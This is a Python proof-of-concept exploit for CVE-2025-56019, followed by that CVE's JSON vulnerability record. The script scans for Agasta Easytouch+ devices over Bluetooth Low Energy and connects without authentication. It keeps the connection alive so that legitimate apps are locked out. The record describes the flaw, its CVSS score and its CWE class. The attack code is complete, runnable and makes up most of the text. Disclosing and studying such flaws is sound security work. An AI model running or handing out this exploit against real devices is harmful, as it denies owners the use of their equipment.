CVE-2025-56019

#!/usr/bin/env python3 """ CVE-2025-56019 - Agasta Easytouch+ BLE Unauthorized Access DoS PoC This PoC demonstrates how an attacker can establish an unauthorized BLE connection to Agasta Easytouch+ devices, causing a denial of service for legitimate applications. """ import asyncio from bleak import BleakScanner, BleakClient # Target device name pattern for Agasta Easytouch+ TARGET_DEVICE_NAME = "Easytouch" async def scan_and_identify_target(): """Scan for nearby BLE devices and identify Agasta Easytouch+ device""" print("[*] Scanning for nearby BLE devices...") devices = await BleakScanner.discover() for device in devices: if device.name and TARGET_DEVICE_NAME.lower() in device.name.lower(): print(f"[+] Target device found: {device.name} ({device.address})") return device print("[-] No Agasta Easytouch+ device found in range") return None async def exploit_ble_unauthorized_access(target_device): """ Establish unauthorized BLE connection without authentication, causing legitimate applications to be unable to connect (DoS) """ print(f"[*] Attempting unauthorized connection to {target_device.address}...") try: # Connect without any authentication - this is the core vulnerability async with BleakClient(target_device.address) as client: print(f"[+] Unauthorized connection established successfully!") print(f"[+] Connection is active. Legitimate apps cannot connect now.") print(f"[+] DoS condition achieved - keeping connection alive...") # Keep the connection alive to maintain DoS condition while await client.is_connected(): print(f"[*] Connection still active. Press Ctrl+C to release.") await asyncio.sleep(5) except Exception as e: print(f"[-] Connection failed: {e}") async def main(): """Main exploit function""" print("=" * 60) print("CVE-2025-56019 PoC - Agasta Easytouch+ BLE DoS") print("=" * 60) target = await scan_and_identify_target() if target: await exploit_ble_unauthorized_access(target) if __name__ == "__main__": # Requirements: pip install bleak asyncio.run(main())

{"cve": {"id": "CVE-2025-56019", "sourceIdentifier": "[email protected]", "published": "2025-10-02T18:15:46.163", "lastModified": "2025-10-27T18:04:15.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An insecure permission vulnerability exists in the Agasta Easytouch+ version 9.3.97 The device allows unauthorized mobile applications to connect via Bluetooth Low Energy (BLE) without authentication. Once an unauthorized connection is established, legitimate applications are unable to connect, causing a denial of service. The attack requires proximity to the device, making it exploitable from an adjacent network location."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-277"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:agasta:easy_touch_plus_firmware:9.3.97:*:*:*:*:*:*:*", "matchCriteriaId": "41CA1ECB-C487-4143-8A42-54EC39C20D68"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:agasta:easy_touch_plus:-:*:*:*:*:*:*:*", "matchCriteriaId": "A51AD124-C671-42C3-A427-CA274FF1D01C"}]}]}], "references": [{"url": "https://github.com/Yashodhanvivek/Agatsa-EasyTouch-Plus---CVE-2025-56019/blob/main/input.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}